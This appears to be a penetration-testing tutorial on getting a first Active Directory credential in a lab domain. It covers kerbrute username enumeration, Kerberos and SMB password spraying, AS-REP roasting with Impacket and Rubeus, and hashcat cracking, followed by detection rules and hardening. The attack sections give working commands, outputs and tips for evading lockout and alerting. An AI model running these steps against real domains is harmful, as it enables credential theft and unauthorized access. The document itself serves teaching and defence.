From-Zero AS-REP Roasting and Password Spraying: Getting Your First Credential with No Creds
You land on an internal network with an IP, a subnet, and nothing else. No username, no password, no hash. Most of the flashy AD tradecraft you read about assumes you already have a credential. This post is about the part nobody skips but everyone glosses over: turning zero into one. The first valid credential in a domain is the hardest one to get and the most valuable, because everything downstream (Kerberoasting, BloodHound collection, ACL abuse, lateral movement) needs an authenticated foothold to start.
Objective: Build an intentionally vulnerable
lab.localdomain, then chain unauthenticated username enumeration, Kerberos and NTLM password spraying, and AS-REP Roasting into a working domain credential. You will understand the Kerberos AS exchange at the protocol level, why disabled pre-authentication is a gift, how to stay under the lockout threshold, and exactly what the blue team sees when you do it.
Contents
- 1 1. Pre-Requisites and Lab Setup
- 2 2. Kerberos Pre-Authentication Primer
- 3 3. Step 0 – Recon With No Credentials
- 4 4. Phase 1 – Username Enumeration With Zero Credentials
- 5 5. Phase 2 – Password Spraying
- 6 6. Phase 3 – AS-REP Roasting With Zero Credentials
- 7 7. Phase 3b – AS-REP Roasting From an Authenticated Perspective
- 8 8. Offline Cracking
- 9 9. Chaining Both Techniques
- 10 10. Common Attacker Techniques
- 11 11. Defensive Strategies and Detection
- 12 12. Tools for AS-REP Roasting and Spraying
- 13 13. MITRE ATT&CK Mapping
- 14 14. Lab Tear-Down and Remediation Checklist
- 15 Summary
- 16 Related Tutorials
- 17 References
1. Pre-Requisites and Lab Setup
You need two machines on the same network segment.
| Role | OS | IP | Purpose |
|---|---|---|---|
| Domain Controller | Windows Server 2019/2022 | 10.10.10.10 | lab.local KDC, LDAP, DNS |
| Attacker | Kali Linux | 10.10.10.50 | Not domain joined, no creds |
Promote the server to a domain controller for lab.local. Run this in an elevated PowerShell on the fresh server:
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "lab.local" -DomainNetbiosName "LAB" -InstallDns -Force
Success Restart Needed Exit Code Feature Result
------- -------------- --------- --------------
True Yes SuccessRest... {Active Directory Domain Services, Group P...}
The target server will be configured as a domain controller and restarted...
After the reboot, create the three deliberately misconfigured accounts. svc_legacy is the AS-REP Roasting target, jsmith is the spray target, adm_backup is a honeypot that should never authenticate.
# The AS-REP Roasting target: pre-auth disabled, weak password in rockyou
New-ADUser -Name "svc_legacy" -SamAccountName "svc_legacy" `
-AccountPassword (ConvertTo-SecureString "Winter2023!" -AsPlainText -Force) `
-Enabled $true -PasswordNeverExpires $true
Set-ADAccountControl -Identity "svc_legacy" -DoesNotRequirePreAuth $true
# The spray target: normal account, weak seasonal password
New-ADUser -Name "jsmith" -SamAccountName "jsmith" `
-AccountPassword (ConvertTo-SecureString "Spring2024!" -AsPlainText -Force) `
-Enabled $true
# The honeypot: never logs in, any auth against it is malicious
New-ADUser -Name "adm_backup" -SamAccountName "adm_backup" `
-AccountPassword (ConvertTo-SecureString "Gd7#kQ!v29xLmZ0pTfWn" -AsPlainText -Force) `
-Enabled $true
# (no output on success; verify below)
Set the domain lockout policy so the lab mirrors a real environment: five bad passwords locks an account, and the observation window resets after 30 minutes.
Set-ADDefaultDomainPasswordPolicy -Identity lab.local `
-LockoutThreshold 5 `
-LockoutObservationWindow (New-TimeSpan -Minutes 30) `
-LockoutDuration (New-TimeSpan -Minutes 30)
Get-ADDefaultDomainPasswordPolicy | Select LockoutThreshold, LockoutObservationWindow
LockoutThreshold LockoutObservationWindow
---------------- ------------------------
5 00:30:00
Confirm the misconfiguration is live before you attack it:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select SamAccountName, Enabled, DoesNotRequirePreAuth
SamAccountName Enabled DoesNotRequirePreAuth
-------------- ------- ---------------------
svc_legacy True True
On the Kali box, install the toolkit:
sudo apt install -y impacket-scripts crackmapexec ldap-utils hashcat john
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
kerbrute_linux_amd64 100%[===================>] 8.42M --.-KB/s in 0.1s
2. Kerberos Pre-Authentication Primer
Before touching a tool, understand what you are actually abusing. Kerberos on Windows runs on the domain controller, which acts as the Key Distribution Center (KDC). The KDC has two halves: the Authentication Service (AS) that hands out Ticket Granting Tickets (TGTs), and the Ticket Granting Service (TGS) that hands out service tickets. AS-REP Roasting lives entirely in the first exchange.
The normal AS exchange (pre-auth enabled)
- The client sends an AS-REQ to the KDC on port 88. When pre-authentication is required, that request carries a
PA-DATAfield of typePA-ENC-TIMESTAMP: the current time, encrypted with the user’s long-term key. That key is derived from the password through the Kerberos string-to-key function. For RC4 it is simply the NT hash (MD4 of the UTF-16 password); for AES it is a PBKDF2 derivation. - The KDC looks up the account, derives the same key from the stored password hash, and tries to decrypt the timestamp. If it decrypts to a fresh, sane time value, the KDC is satisfied that the client knows the password.
- Only then does the KDC return an AS-REP. That reply contains two things: the TGT (encrypted with the
krbtgtaccount key, so only the KDC can read it) and anenc-partblob encrypted with the user’s long-term key, holding the session key and ticket metadata.
The important detail: the enc-part in the AS-REP is encrypted with the user’s password-derived key regardless of whether pre-auth happened. Pre-authentication is the gate that stops you from ever seeing that blob without proving you know the password first.
What DONT_REQ_PREAUTH removes
When an account has userAccountControl bit 0x400000 set, the KDC skips step 2 entirely. Send an AS-REQ with no PA-DATA, and the KDC cheerfully returns a full AS-REP, including the enc-part encrypted with the user’s key. You now hold ciphertext whose plaintext structure you know, encrypted under the user’s password. That is an offline cracking problem. No lockout, no failed logons, no interaction with the account owner. Per RFC 4120 the correct verb is “encrypted,” not “hashed,” and the blob is signed with the client key, which is exactly what lets you brute-force it offline.
| Identifier | What it is |
|---|---|
AS-REQ | Authentication Server Request to the KDC on port 88 |
AS-REP | Reply carrying the TGT plus a blob encrypted with the user’s long-term key |
PA-DATA (padata) | Pre-auth field in the AS-REQ; absent means no pre-auth was supplied |
DONT_REQ_PREAUTH | userAccountControl bit 0x400000, account skips pre-auth |
krb5asrep hash | The crackable blob from the AS-REP; Hashcat mode 18200, John krb5asrep |
If you want to see it on the wire, run Wireshark on the attacker host with a kerberos display filter during Step 3. A normal login shows two AS-REQ frames (the first rejected with KRB5KDC_ERR_PREAUTH_REQUIRED, the second with padata). A roastable account shows a single AS-REQ with no padata followed immediately by an AS-REP. That single-request pattern is the roasting signature.

3. Step 0 – Recon With No Credentials
Enumeration always comes before exploitation. First confirm you are actually talking to a DC and learn the domain name, because every subsequent tool needs the FQDN.
nmap -p 88,389,445 -Pn 10.10.10.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.10.10
Host is up (0.0011s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
Port 88 open plus 389 plus 445 is the classic DC fingerprint. Now pull the LDAP RootDSE, which most DCs expose to anonymous binds, to recover the naming context:
nmap -p 389 --script ldap-rootdse 10.10.10.10
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| rootDSE
| defaultNamingContext: DC=lab,DC=local
| dnsHostName: DC01.lab.local
| serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,...
| ldapServiceName: lab.local:dc01$@LAB.LOCAL
|_ rootDomainNamingContext: DC=lab,DC=local
defaultNamingContext: DC=lab,DC=local gives you the domain lab.local and the DC hostname DC01.lab.local. That is everything you need to start. This activity maps to T1595.001 (active scanning) and T1087.002 (account discovery once we enumerate users).
4. Phase 1 – Username Enumeration With Zero Credentials
You cannot spray or roast without a user list. The elegant part of Kerberos enumeration is that it does not authenticate, so it never produces a logon failure. Kerbrute sends a bare AS-REQ for each candidate name and reads the KDC’s error code:
| KDC error | Hex | Meaning |
|---|---|---|
KDC_ERR_C_PRINCIPAL_UNKNOWN | 0x6 | Username does not exist |
KDC_ERR_PREAUTH_REQUIRED | 0x19 | Username exists, pre-auth needed (valid user) |
KDC_ERR_PREAUTH_FAILED | 0x18 | Valid user, wrong password |
KDC_ERR_KEY_EXPIRED | 0x17 | Valid user, expired password |
The 0x19 versus 0x6 distinction is the whole trick. A valid account that requires pre-auth answers “you need to pre-authenticate,” which confirms it exists without you ever supplying a password.
./kerbrute userenum \
--dc 10.10.10.10 \
--domain lab.local \
/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt \
-o valid_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3
2024/06/01 12:00:00 > Using KDC(s):
2024/06/01 12:00:00 > 10.10.10.10:88
2024/06/01 12:00:01 > [+] VALID USERNAME: jsmith@lab.local
2024/06/01 12:00:02 > [+] VALID USERNAME: svc_legacy@lab.local
2024/06/01 12:00:04 > [+] VALID USERNAME: adm_backup@lab.local
2024/06/01 12:00:06 > Done! Tested 8295 usernames (3 valid) in 5.20 seconds
Three hits. Note that adm_backup showed up too, which is the point of a honeypot: any enumeration finds it, and the blue team alerts the moment it is touched. Strip the realm suffix into a clean list for the next phases:
sed 's/@lab.local//' valid_users.txt > users.txt
cat users.txt
jsmith
svc_legacy
adm_backup
What this enables: svc_legacy and jsmith become spray candidates, and the same list feeds the unauthenticated AS-REP Roast in Phase 3. On the DC, this generated Event 4768 per name (if Kerberos auditing is on) but produced zero 4625 NTLM failures, which is why threshold-based spray alerts miss it.
5. Phase 2 – Password Spraying
Password spraying inverts brute force. Instead of many passwords against one account (which locks it), you throw one password at many accounts, then wait. Lockout counters are per-account, so one attempt each never trips the threshold.
Enumerate the lockout policy first
You must know the lockout threshold before you spray, or you will lock the domain and burn your access. Try the anonymous LDAP path, which works on plenty of misconfigured DCs:
ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" -s base \
lockoutThreshold lockoutDuration lockOutObservationWindow
# lab.local
dn: DC=lab,DC=local
lockoutThreshold: 5
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
Those negative numbers are 100-nanosecond intervals: 18000000000 / 10000000 = 1800 seconds, so 30 minutes. Threshold 5. The safe budget is 4 attempts per account per 30-minute window, leaving one attempt of headroom. Once you have a valid credential (later), you can confirm the same policy authenticated:
Get-ADDefaultDomainPasswordPolicy | Select LockoutThreshold, LockoutObservationWindow, LockoutDuration
LockoutThreshold LockoutObservationWindow LockoutDuration
---------------- ------------------------ ---------------
5 00:30:00 00:30:00
Kerberos-based spray (quiet path)
Kerbrute’s passwordspray performs the AS-REQ pre-auth handshake with a real password guess. A correct guess returns an AS-REP; a wrong one returns KDC_ERR_PREAUTH_FAILED (0x18). This path produces Event 4771, not the high-visibility 4625.
./kerbrute passwordspray \
--dc 10.10.10.10 \
--domain lab.local \
users.txt \
'Spring2024!'
2024/06/01 12:10:00 > Using KDC(s):
2024/06/01 12:10:00 > 10.10.10.10:88
2024/06/01 12:10:00 > [+] VALID LOGIN: jsmith@lab.local:Spring2024!
2024/06/01 12:10:00 > Done! Tested 3 logins (1 successes) in 0.51 seconds
You have your first credential: jsmith:Spring2024!. That is the pivot from zero to one.
NTLM-based spray (loud path, for comparison)
CrackMapExec sprays over SMB using NTLM, which is noisier: each failure is an Event 4625 with LogonType 3. Use --continue-on-success and --no-bruteforce (one password across the list, not a full matrix) so you respect lockout.
crackmapexec smb 10.10.10.10 \
-u users.txt \
-p 'Spring2024!' \
--continue-on-success \
--no-bruteforce
SMB 10.10.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True) (SMBv1:False)
SMB 10.10.10.10 445 DC01 [-] lab.local\adm_backup:Spring2024! STATUS_LOGON_FAILURE
SMB 10.10.10.10 445 DC01 [-] lab.local\svc_legacy:Spring2024! STATUS_LOGON_FAILURE
SMB 10.10.10.10 445 DC01 [+] lab.local\jsmith:Spring2024!
Same result, three Event 4625 records on the DC. In a real engagement, prefer the Kerberos path and add jitter. A slow spray of roughly four attempts per account per hour spread over days sits under most detection thresholds. This whole phase maps to T1110.003.
6. Phase 3 – AS-REP Roasting With Zero Credentials
Here is the beautiful part: you can roast before you have a single credential, using only the username list from Phase 1. Impacket’s GetNPUsers sends a padata-less AS-REQ per name. For accounts with pre-auth disabled, the DC returns an AS-REP and Impacket extracts the enc-part as a crackable hash. For accounts with pre-auth enabled, the DC refuses and you learn nothing sensitive.
Enumerate before extracting
GetNPUsers doubles as the enumerator here: point it at the whole list and it tells you which accounts are roastable and which are not.
impacket-GetNPUsers lab.local/ \
-no-pass \
-usersfile users.txt \
-dc-ip 10.10.10.10 \
-format hashcat \
-outputfile asrep_hashes.txt
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User adm_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e0a5c6f3b1e9d2a7c4088$b41d7e2a9f0c53d18e6a4b2c7f019d3ea5c86b41f9027d3e6a1b8c4d05f7e29a3b6c81d0f4e27a95c3b0d68f14e7a92c5d0b83f61a4e097c2d5b8f30a6e1c94d7b2f085a3e6c19d40b7f2e85a3c6091d4b7f0e2a85c396d1b4f7e0a2c85d396b1f4a
Read the negatives as intel too. jsmith and adm_backup are not roastable, svc_legacy is. Check the output file:
cat asrep_hashes.txt
$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e0a5c6f3b1e9d2a7c4088$b41d7e2a9f0c53d18e6a4b2c7f019d3ea5c86b41f9027d3e6a1b8c4d05f7e29a3b6c81d0f...
Hash format anatomy
Break the blob down so cracking makes sense:
| Segment | Value | Meaning |
|---|---|---|
$krb5asrep$ | literal | Format tag |
23 | etype | RC4-HMAC (0x17), string-to-key = NT hash |
svc_legacy@LAB.LOCAL | principal | Account and realm |
9c1a...4088 | 16-byte checksum | The edata1 integrity checksum |
b41d... | ciphertext | The edata2 encrypted blob (session key, timestamps) |
The 23 matters. RC4 is the fastest etype to crack because its key is the raw NT hash, so tools and attackers request it deliberately. That preference for RC4 is also the highest-fidelity detection signal, which we exploit defensively in Section 10. This path maps to T1558.004.
7. Phase 3b – AS-REP Roasting From an Authenticated Perspective
The unauthenticated roast only finds accounts you already guessed the name of. Once you own jsmith:Spring2024! from Phase 2, you can bind to LDAP and let the DC enumerate every DONT_REQ_PREAUTH account for you. This is the correct order in a real chain: spray to get one cred, then use it to roast comprehensively.
Manual LDAP enumeration first
With a valid credential you can query the flag directly. The userAccountControl bit 4194304 is 0x400000:
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties userAccountControl |
Select SamAccountName, userAccountControl
SamAccountName userAccountControl
-------------- ------------------
svc_legacy 4260352
4260352 = 0x410200, which is NORMAL_ACCOUNT (0x0200) + DONT_EXPIRE_PASSWORD (0x10000) + DONT_REQ_PREAUTH (0x400000). The cleaner property-based query returns the same account:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select SamAccountName, Enabled
SamAccountName Enabled
-------------- -------
svc_legacy True
Tool-based authenticated roast
Impacket with credentials and -request performs the LDAP query and the AS-REP extraction in one shot:
impacket-GetNPUsers lab.local/jsmith:'Spring2024!' \
-request \
-dc-ip 10.10.10.10 \
-format hashcat \
-outputfile asrep_hashes_auth.txt
Impacket v0.11.0 - Copyright 2023 Fortra
Name MemberOf PasswordLastSet LastLogon UAC
---------- -------- -------------------------- --------- --------
svc_legacy 2024-05-30 14:22:11.123456 <never> 0x410200
$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e0a5c6f3b1e9d2a7c4088$b41d7e2a9f0c53d18e6a4b2c7f019d3ea5c86b41f9027d3e...
From a Windows host with Rubeus
If your foothold is a domain-joined Windows box (or you have creds for runas /netonly), Rubeus does the same in-domain. It reads LDAP for the flag and roasts every hit:
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: AS-REP roasting
[*] Target Domain : lab.local
[*] Searching for accounts that do not require preauthentication
[*] SamAccountName : svc_legacy
[*] DistinguishedName : CN=svc_legacy,CN=Users,DC=lab,DC=local
[*] Using domain controller: DC01.lab.local (10.10.10.10)
[*] Building AS-REQ (w/o preauth) for: 'lab.local\svc_legacy'
[+] AS-REQ w/o preauth successful!
[*] Hash written to hashes.txt
8. Offline Cracking
The hash never left the DC in plaintext, and cracking happens entirely on your machine, so there is nothing for the target to detect at this stage. Hashcat mode 18200 handles the $krb5asrep$23$ format.
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e...:Winter2023!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: asrep_hashes.txt
Time.Started.....: Sat Jun 1 12:20:04 2024 (3 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (best64.rule)
Speed.#1.........: 1123.4 MH/s
Recovered........: 1/1 (100.00%) Digests
John does the same with the krb5asrep format:
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Winter2023! ($krb5asrep$23$svc_legacy@LAB.LOCAL)
1g 0:00:00:01 DONE (2024-06-01 12:22) 0.909g/s ...
Use the "--show" option to display all cracked passwords reliably
You now hold a second, independent credential: svc_legacy:Winter2023!. If the account had a 25-character random password you would still hold the hash, but rockyou would never crack it, which is exactly why long service-account passwords are a real mitigation.
Validate the credential
Always confirm a cracked or sprayed credential actually works before you build on it:
crackmapexec smb 10.10.10.10 -u svc_legacy -p 'Winter2023!'
SMB 10.10.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True)
SMB 10.10.10.10 445 DC01 [+] lab.local\svc_legacy:Winter2023!
A (Pwn3d!) suffix would indicate local admin on the target; here we simply have a valid domain credential, which is the win we came for.
9. Chaining Both Techniques
The two attacks reinforce each other. Neither requires a credential to start, but they cover different account populations, so run them in a deliberate order.
- Enumerate usernames with
kerbrute userenum(no creds, no4625). - Attempt the unauthenticated AS-REP Roast first (
GetNPUsers -no-pass). It is the quietest possible path: no failed logons at all. If any account has pre-auth disabled, you may get a credential without spraying. - Spray one seasonal or policy-compliant password across the enumerated list, staying at four attempts per lockout window.
- Take the first sprayed credential and run the authenticated roast (
GetNPUsers -requestor Rubeus) to enumerate everyDONT_REQ_PREAUTHaccount in the domain, not just the ones whose names you guessed. - Crack offline, validate, then use the credential for BloodHound collection and the next stage.
The decision hinges on whether Phase 3 alone produces a crackable hash. If it does and rockyou cracks it, you may skip spraying entirely and its associated 4771/4625 noise.

10. Common Attacker Techniques
| Technique | Description |
|---|---|
| Kerberos username enumeration | AS-REQ error-code classification (0x6 vs 0x19) to build a valid user list without logon failures |
| Kerberos password spray | AS-REQ pre-auth guesses, one password across many users, produces 4771 not 4625 |
| NTLM/SMB password spray | CrackMapExec over SMB, produces 4625 LogonType 3 |
| Unauthenticated AS-REP Roast | Padata-less AS-REQ against a name list, extracts enc-part for offline cracking |
| Authenticated AS-REP Roast | LDAP query for DONT_REQ_PREAUTH, roast every hit domain-wide |
| RC4 downgrade for cracking | Request etype 23 so the key is the NT hash, maximizing crack speed |
| Slow-spray timing | ~4 attempts per account per hour to defeat lockout and threshold alerts |
11. Defensive Strategies and Detection
Every phase leaves a trace if the right auditing is on. Enable it via a GPO linked to the Domain Controllers OU under Advanced Audit Policy Configuration:
- Account Logon: Audit Kerberos Authentication Service (Success and Failure) for
4768and4771. - Account Logon: Audit Credential Validation and Logon: Audit Logon for
4624/4625. - Account Management: Audit User Account Management for
4738.
Event ID reference
| Event ID | Trigger | Key fields |
|---|---|---|
4768 | AS-REQ / TGT requested | PreAuthType=0 = roast candidate; Status=0x6 = unknown user; TicketEncryptionType=0x17 = RC4 |
4771 | Kerberos pre-auth failed | FailureCode=0x18 = bad password (spray); Client Address = source IP |
4625 | NTLM logon failure | LogonType=3, SubStatus=0xC000006A wrong pass; from CME, not Kerbrute |
4624 | Successful logon | Correlate many 4771/4625 then one 4624 = spray hit |
4738 | User account changed | Watch for userAccountControl changes that clear pre-auth |
The detection blind spot and how to close it
Kerbrute’s whole design goal is to avoid 4625. A spray against 10,000 accounts leaves zero NTLM failures, so counting 4625 misses it entirely. Two things close the gap. On the source host, Sysmon Event ID 1 catches the kerbrute or GetNPUsers process, and Event ID 3 catches the outbound port 88 flow from a non-standard process. On the DC, pivot on the AS-REP Roasting signature: PreAuthType == 0 combined with TicketEncryptionType == 0x17 in 4768 is the highest-confidence indicator, because a legitimate modern client uses AES and performs pre-auth.
title: AS-REP Roasting - RC4 AS-REQ Without Pre-Authentication
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
PreAuthType: '0'
TicketEncryptionType: '0x17'
filter:
TargetUserName|endswith: '$'
condition: selection and not filter
level: high
For spraying, alert on volume of 4771 failures from a single source IP against many distinct accounts within a short window:
title: Kerberos Password Spray - Many Pre-Auth Failures From One Source
logsource:
product: windows
service: security
detection:
selection:
EventID: 4771
FailureCode: '0x18'
ServiceName: 'krbtgt'
timeframe: 1m
condition: selection | count(TargetUserName) by IpAddress > 10
level: high
Trimarc and ADSecurity guidance suggests concrete thresholds: more than 50 4625 or 50 4771 (FailureCode=0x18) events within one minute, and more than 100 4648 events on workstations within one minute. The most reliable single control is a honeypot account like adm_backup: it never authenticates legitimately, so any 4768, 4771, or 4625 naming it is a guaranteed alert on enumeration or spray.
Hardening
- Audit and re-enable pre-auth: run
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}weekly and clear the flag wherever the app allows. - Enforce AES-only Kerberos via
Network security: Configure encryption types allowed for Kerberos, which makes cracking orders of magnitude slower even if pre-auth stays off. - Deploy honeypot accounts with attractive names and alert on any authentication.
- Apply Fine-Grained Password Policies (PSOs) mandating 20+ character passwords on service accounts so a captured hash is uncrackable.
- Enable Azure AD Password Protection on-prem to block the common spray passwords at the DC.
- Disable anonymous LDAP binds so attackers cannot read the lockout policy unauthenticated.

12. Tools for AS-REP Roasting and Spraying
| Tool | Description | Link |
|---|---|---|
| Kerbrute | Kerberos username enum and spray, avoids 4625 | github.com/ropnop/kerbrute |
| Impacket GetNPUsers | AS-REP Roasting, authenticated or -no-pass | github.com/fortra/impacket |
| Rubeus | Windows AS-REP roast and Kerberos tradecraft | github.com/GhostPack/Rubeus |
| CrackMapExec | NTLM/SMB spray and validation | github.com/Porchetta-Industries/CrackMapExec |
| Hashcat | Crack $krb5asrep$ with mode 18200 | hashcat.net |
| John the Ripper | Crack with --format=krb5asrep | openwall.com/john |
| ldapsearch / ldap-utils | Anonymous policy and RootDSE enumeration | openldap.org |
| Wireshark | Wire-level view of the AS exchange | wireshark.org |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Active Scanning: Scanning IP Blocks | T1595.001 | Perimeter/NIDS port 88/389/445 sweeps |
| Account Discovery: Domain Account | T1087.002 | 4768 Status=0x6 bursts; Sysmon EID 1 for kerbrute |
| Brute Force: Password Spraying | T1110.003 | 4771 FailureCode=0x18 and 4625 volume from one IP |
| Steal or Forge Kerberos Tickets: AS-REP Roasting | T1558.004 | 4768 PreAuthType=0 + TicketEncryptionType=0x17 |
| Valid Accounts: Domain Accounts | T1078.002 | Anomalous 4624 from new source after failures |
14. Lab Tear-Down and Remediation Checklist
Reverse the misconfigurations so the lab reflects a hardened baseline, and use the same steps as a production checklist.
# Re-enable pre-authentication on the roastable account
Set-ADAccountControl -Identity svc_legacy -DoesNotRequirePreAuth $false
# Confirm nothing is left roastable
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select SamAccountName
# (empty result = no accounts skip pre-auth)
# Force AES-only for the account and rotate to a long password
Set-ADUser -Identity svc_legacy -KerberosEncryptionType AES128,AES256
Set-ADAccountPassword -Identity svc_legacy -Reset `
-NewPassword (ConvertTo-SecureString "b9F!2qLx7Vr0mZ4pTnKe8Wd6" -AsPlainText -Force)
# (no output on success)
Then confirm auditing is producing 4768/4771, verify the honeypot alert fires on a test authentication, and schedule the DoesNotRequirePreAuth query as a weekly automated report.
Summary
- With zero credentials you can still enumerate valid domain usernames and pull crackable AS-REP hashes, because Kerberos leaks account existence through error codes and hands out password-encrypted material for any account with pre-authentication disabled.
- Kerbrute enumeration and Kerberos-based spraying deliberately avoid Event
4625, so defenders must pivot to4768/4771, honeypot accounts, and Sysmon process/network telemetry on the source host. - AS-REP Roasting (
T1558.004) hinges onuserAccountControlbit0x400000; the RC4 etype23blob (hashcat -m 18200) is fast to crack, andPreAuthType=0plusTicketEncryptionType=0x17in4768is the highest-fidelity detection. - Password spraying (
T1110.003) beats lockout by staying at four attempts per account per observation window; readlockoutThresholdfirst, always. - Chain them: roast quietly, spray for a first credential, then use that credential to roast the whole domain over LDAP, validate, and pivot.
- Harden by re-enabling pre-auth, forcing AES, deploying honeypots, applying 20+ character PSOs on service accounts, and killing anonymous LDAP binds.
Related Tutorials
References
- attack.mitre.org
- attack.mitre.org
- www.picussecurity.com
- www.startupdefense.io
- www.securonix.com
- www.semperis.com
- adsecurity.org
- www.hub.trimarcsecurity.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.